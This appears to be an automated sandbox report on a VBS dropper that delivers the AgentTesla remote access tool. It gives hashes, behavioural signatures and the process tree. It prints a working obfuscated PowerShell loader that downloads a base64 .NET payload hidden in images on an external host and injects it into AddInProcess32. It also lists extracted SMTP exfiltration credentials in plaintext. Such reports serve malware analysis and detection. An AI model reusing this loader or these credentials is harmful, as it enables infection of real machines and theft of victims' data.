Overview
overview
10Static
static
10153b116e6...66.vbs
windows7-x64
100153b116e6...66.vbs
windows10-2004-x64
108624e09793...a0.dll
windows7-x64
18624e09793...a0.dll
windows10-2004-x64
3d42ce863d0...be1.js
windows7-x64
1d42ce863d0...be1.js
windows10-2004-x64
1ed7b525ff2...7.xlsx
windows7-x64
1ed7b525ff2...7.xlsx
windows10-2004-x64
1Analysis
-
max time kernel
143s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
27-03-2024 02:18
Static task
static1
Behavioral task
behavioral1
Sample
0153b116e6a412cfd8dbf868de5cae3a8b3303c550eba80a0605ad4acfda6c66.vbs
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
0153b116e6a412cfd8dbf868de5cae3a8b3303c550eba80a0605ad4acfda6c66.vbs
Resource
win10v2004-20240226-en
Behavioral task
behavioral3
Sample
8624e09793361dd3a022021a93a17e3b755c256e0a10928b505257bb04f4d5a0.dll
Resource
win7-20240221-en
Behavioral task
behavioral4
Sample
8624e09793361dd3a022021a93a17e3b755c256e0a10928b505257bb04f4d5a0.dll
Resource
win10v2004-20240226-en
Behavioral task
behavioral5
Sample
d42ce863d02bc970b632e8f6794d433fe059670f1bcd42aaec99bac868d6ebe1.js
Resource
win7-20240221-en
Behavioral task
behavioral6
Sample
d42ce863d02bc970b632e8f6794d433fe059670f1bcd42aaec99bac868d6ebe1.js
Resource
win10v2004-20240226-en
Behavioral task
behavioral7
Sample
ed7b525ff2b5d6c2a63878a1d7594b12025f3d7525898adb3c02cb958df09be7.xlsx
Resource
win7-20240221-en
Behavioral task
behavioral8
Sample
ed7b525ff2b5d6c2a63878a1d7594b12025f3d7525898adb3c02cb958df09be7.xlsx
Resource
win10v2004-20231215-en
General
-
Target
0153b116e6a412cfd8dbf868de5cae3a8b3303c550eba80a0605ad4acfda6c66.vbs
-
Size
292KB
-
MD5
37241a1c4e55aa3638eaece31fe885fa
-
SHA1
e0f21d93d124f5bc0de9a50a1b1d16326654faad
-
SHA256
0153b116e6a412cfd8dbf868de5cae3a8b3303c550eba80a0605ad4acfda6c66
-
SHA512
006a918eee5198e9bdfb6f7ae557cea57a343f25734452ec73c1df2275ab7723fa5e360404763994fd239b2a127d61a2b35f18ff2510fc6b4fd2c1bd3fa6b707
-
SSDEEP
3072:XYFEhNe4VTdRnTT8w4TWX7ZIgJdpe+og0S7A:XYFY7E
Malware Config
Extracted
Protocol: smtp- Host:
mail.albuspsikoloji.com.tr - Port:
587 - Username:
[email protected] - Password:
Bukky101@
Extracted
agenttesla
Protocol: smtp- Host:
mail.albuspsikoloji.com.tr - Port:
587 - Username:
[email protected] - Password:
Bukky101@ - Email To:
[email protected]
Signatures
-
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
-
Blocklisted process makes network request 5 IoCs
Processes:
WScript.exepowershell.exeflow pid process 9 4692 WScript.exe 11 4692 WScript.exe 13 4692 WScript.exe 30 1812 powershell.exe 44 1812 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation WScript.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 54 ip-api.com -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 1812 set thread context of 3968 1812 powershell.exe AddInProcess32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 9 IoCs
Processes:
powershell.exepowershell.exeAddInProcess32.exepid process 684 powershell.exe 684 powershell.exe 684 powershell.exe 1812 powershell.exe 1812 powershell.exe 1812 powershell.exe 3968 AddInProcess32.exe 3968 AddInProcess32.exe 3968 AddInProcess32.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exepowershell.exeAddInProcess32.exedescription pid process Token: SeDebugPrivilege 684 powershell.exe Token: SeDebugPrivilege 1812 powershell.exe Token: SeDebugPrivilege 3968 AddInProcess32.exe -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
WScript.exepowershell.exepowershell.exedescription pid process target process PID 4692 wrote to memory of 684 4692 WScript.exe powershell.exe PID 4692 wrote to memory of 684 4692 WScript.exe powershell.exe PID 684 wrote to memory of 1812 684 powershell.exe powershell.exe PID 684 wrote to memory of 1812 684 powershell.exe powershell.exe PID 1812 wrote to memory of 3968 1812 powershell.exe AddInProcess32.exe PID 1812 wrote to memory of 3968 1812 powershell.exe AddInProcess32.exe PID 1812 wrote to memory of 3968 1812 powershell.exe AddInProcess32.exe PID 1812 wrote to memory of 3968 1812 powershell.exe AddInProcess32.exe PID 1812 wrote to memory of 3968 1812 powershell.exe AddInProcess32.exe PID 1812 wrote to memory of 3968 1812 powershell.exe AddInProcess32.exe PID 1812 wrote to memory of 3968 1812 powershell.exe AddInProcess32.exe PID 1812 wrote to memory of 3968 1812 powershell.exe AddInProcess32.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\0153b116e6a412cfd8dbf868de5cae3a8b3303c550eba80a0605ad4acfda6c66.vbs"1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDYDgTreMDgTreDgTrevDgTreDDgTreDgTreNDgTreDgTrezDgTreC8DgTreZgB1DgTreGwDgTrebDgTreDgTrevDgTreG4DgTreZQB3DgTreF8DgTreaQBtDgTreGEDgTreZwBlDgTreC4DgTreagBwDgTreGcDgTrePwDgTrexDgTreDcDgTreMQDgTrexDgTreDIDgTreODgTreDgTre3DgTreDgDgTreODgTreDgTre3DgTreCcDgTreLDgTreDgTregDgTreCcDgTreaDgTreB0DgTreHQDgTrecDgTreBzDgTreDoDgTreLwDgTrevDgTreHUDgTrecDgTreBsDgTreG8DgTreYQBkDgTreGQDgTreZQBpDgTreG0DgTreYQBnDgTreGUDgTrebgBzDgTreC4DgTreYwBvDgTreG0DgTreLgBiDgTreHIDgTreLwBpDgTreG0DgTreYQBnDgTreGUDgTrecwDgTrevDgTreDDgTreDgTreMDgTreDgTre0DgTreC8DgTreNwDgTre2DgTreDDgTreDgTreLwDgTrewDgTreDQDgTreNDgTreDgTrevDgTreG8DgTrecgBpDgTreGcDgTreaQBuDgTreGEDgTrebDgTreDgTrevDgTreG4DgTreZQB3DgTreF8DgTreaQBtDgTreGEDgTreZwBlDgTreC4DgTreagBwDgTreGcDgTrePwDgTrexDgTreDcDgTreMQDgTrexDgTreDIDgTreODgTreDgTre3DgTreDgDgTreODgTreDgTre4DgTreCcDgTreKQDgTre7DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCDgTreDgTrePQDgTregDgTreEQDgTrebwB3DgTreG4DgTrebDgTreBvDgTreGEDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreEYDgTrecgBvDgTreG0DgTreTDgTreBpDgTreG4DgTreawBzDgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreOwDgTregDgTreGkDgTreZgDgTregDgTreCgDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCDgTreDgTreLQBuDgTreGUDgTreIDgTreDgTrekDgTreG4DgTredQBsDgTreGwDgTreKQDgTregDgTreHsDgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreCDgTreDgTrePQDgTregDgTreFsDgTreUwB5DgTreHMDgTredDgTreBlDgTreG0DgTreLgBUDgTreGUDgTreeDgTreB0DgTreC4DgTreRQBuDgTreGMDgTrebwBkDgTreGkDgTrebgBnDgTreF0DgTreOgDgTre6DgTreFUDgTreVDgTreBGDgTreDgDgTreLgBHDgTreGUDgTredDgTreBTDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreEIDgTreeQB0DgTreGUDgTrecwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreCDgTreDgTrePQDgTregDgTreCcDgTrePDgTreDgTre8DgTreEIDgTreQQBTDgTreEUDgTreNgDgTre0DgTreF8DgTreUwBUDgTreEEDgTreUgBUDgTreD4DgTrePgDgTrenDgTreDsDgTreIDgTreDgTrekDgTreGUDgTrebgBkDgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBFDgTreE4DgTreRDgTreDgTre+DgTreD4DgTreJwDgTre7DgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreRgBsDgTreGEDgTreZwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGUDgTrebgBkDgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreC4DgTreSQBuDgTreGQDgTreZQB4DgTreE8DgTreZgDgTreoDgTreCQDgTreZQBuDgTreGQDgTreRgBsDgTreGEDgTr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= [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('DgTre','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/760/043/full/new_image.jpg?1711287887', 'https://uploaddeimagens.com.br/images/004/760/044/original/new_image.jpg?1711287888'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.ep/541.93.321.39//:ptth' , 'desativado' , 'desativado' , 'desativado','AddInProcess32',''))} }"3⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.Net\Framework\v4.0.30319\AddInProcess32.exe"C:\Windows\Microsoft.Net\Framework\v4.0.30319\AddInProcess32.exe"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4264 --field-trial-handle=2280,i,11703952675008463361,17436195144517971517,262144 --variations-seed-version /prefetch:81⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
3KB
MD5f41839a3fe2888c8b3050197bc9a0a05
SHA10798941aaf7a53a11ea9ed589752890aee069729
SHA256224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a
SHA5122acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
64B
MD5235a8eb126d835efb2e253459ab8b089
SHA1293fbf68e6726a5a230c3a42624c01899e35a89f
SHA2565ffd4a816ae5d1c1a8bdc51d2872b7dd99e9c383c88001d303a6f64a77773686
SHA512a83d17203b581491e47d65131e1efc8060ff04d1852e3415fc0a341c6a9691ef9f4cf4dd29d2f6d0032a49f2ba4bd36c35b3f472f0ce5f78f4bb139124760e92
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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_khphzwsh.eha.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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memory/684-19-0x00007FFE6CE80000-0x00007FFE6D941000-memory.dmpFilesize
10.8MB
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memory/684-20-0x00000207D52E0000-0x00000207D52F0000-memory.dmpFilesize
64KB
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memory/684-40-0x00007FFE6CE80000-0x00007FFE6D941000-memory.dmpFilesize
10.8MB
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memory/684-9-0x00000207EF5C0000-0x00000207EF5E2000-memory.dmpFilesize
136KB
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memory/1812-22-0x0000018A64230000-0x0000018A64240000-memory.dmpFilesize
64KB
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memory/1812-21-0x00007FFE6CE80000-0x00007FFE6D941000-memory.dmpFilesize
10.8MB
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memory/1812-36-0x00007FFE6CE80000-0x00007FFE6D941000-memory.dmpFilesize
10.8MB
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memory/1812-32-0x0000018A7F1E0000-0x0000018A7F4A0000-memory.dmpFilesize
2.8MB
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memory/3968-43-0x0000000005230000-0x0000000005240000-memory.dmpFilesize
64KB
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memory/3968-41-0x0000000074CB0000-0x0000000075460000-memory.dmpFilesize
7.7MB
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memory/3968-42-0x00000000056B0000-0x0000000005C54000-memory.dmpFilesize
5.6MB
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memory/3968-33-0x0000000000400000-0x0000000000442000-memory.dmpFilesize
264KB
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memory/3968-44-0x00000000052B0000-0x0000000005316000-memory.dmpFilesize
408KB
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memory/3968-45-0x0000000006440000-0x0000000006490000-memory.dmpFilesize
320KB
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memory/3968-46-0x0000000006530000-0x00000000065CC000-memory.dmpFilesize
624KB
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memory/3968-47-0x0000000006770000-0x0000000006802000-memory.dmpFilesize
584KB
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memory/3968-48-0x0000000006740000-0x000000000674A000-memory.dmpFilesize
40KB
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memory/3968-49-0x0000000074CB0000-0x0000000075460000-memory.dmpFilesize
7.7MB
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memory/3968-50-0x0000000005230000-0x0000000005240000-memory.dmpFilesize
64KB